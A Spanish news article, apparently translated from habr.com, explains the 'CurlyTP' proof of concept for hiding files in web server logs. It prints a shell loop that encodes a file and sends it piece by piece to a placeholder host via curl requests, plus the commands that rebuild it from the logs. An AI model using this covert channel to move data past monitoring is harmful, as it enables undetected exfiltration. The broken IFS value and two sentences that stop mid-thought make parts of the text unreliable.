Según la definición de Wikipedia, un dead drop es una herramienta de conspiración que sirve para intercambiar información o algunos elementos entre personas que utilizan una ubicación secreta. La idea es que las personas nunca se encuentren, pero aun así intercambien información para mantener la seguridad operativa.
El escondite no debe llamar la atención. Por eso, en el mundo offline suelen utilizar cosas discretas: un ladrillo suelto en la pared, un libro de la biblioteca o un hueco en un árbol.
Hay muchas herramientas de cifrado y anonimización en Internet, pero el mero hecho de utilizar estas herramientas llama la atención. Además, pueden estar bloqueados a nivel corporativo o gubernamental. ¿Qué hacer?
El desarrollador Ryan Flowers propuso una opción interesante:
Resulta que cualquier servidor web te permite guardar casi cualquier mensaje en el registro. Flowers se preguntó cómo usar esto.
Él ofrece esta opción:
- Tome un archivo de texto (mensaje secreto) y calcule el hash (md5sum).
- Lo codificamos (gzip+uuencode).
- Escribimos en el registro mediante una solicitud deliberadamente incorrecta al servidor.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh
Para leer un archivo, debe realizar estas operaciones en orden inverso: decodificar y descomprimir el archivo, verificar el hash (el hash se puede transmitir de forma segura a través de canales abiertos).
Los espacios se reemplazan con =+=
para que no queden espacios en la dirección. El programa, que el autor llama CurlyTP, utiliza codificación base64, como archivos adjuntos de correo electrónico. La solicitud se realiza con una palabra clave. ?transfer?
para que el destinatario pueda encontrarlo fácilmente en los registros.
¿Qué vemos en los registros en este caso?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"
Como ya se mencionó, para recibir un mensaje secreto es necesario realizar las operaciones en orden inverso:
Remote machine
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g
El proceso es fácil de automatizar. Md5sum coincide y el contenido del archivo confirma que todo se decodificó correctamente.
El método es muy sencillo. “El objetivo de este ejercicio es simplemente demostrar que los archivos se pueden transferir mediante pequeñas solicitudes web inocentes y que funciona en cualquier servidor web con registros de texto sin formato. Básicamente, cada servidor web es un escondite”, escribe Flowers.
Por supuesto, el método sólo funciona si el destinatario tiene acceso a los registros del servidor. Pero ese acceso lo proporcionan, por ejemplo, muchos proveedores de alojamiento.
¿Cómo usarlo?
Ryan Flowers dice que no es un experto en seguridad de la información y no compilará una lista de posibles usos para CurlyTP. Para él, es sólo una prueba de concepto de que las herramientas familiares que vemos todos los días se pueden utilizar de una manera poco convencional.
De hecho, este método tiene una serie de ventajas sobre otros servidores "ocultos" como
Esta es una de las formas de transmitir mensajes a través de archivos de servicio. Puedes recordar cómo algunas empresas avanzadas solían colocar
La idea era que sólo los desarrolladores web vieran este huevo de Pascua, ya que una persona normal no miraría los encabezados ni el código HTML.
Fuente: habr.com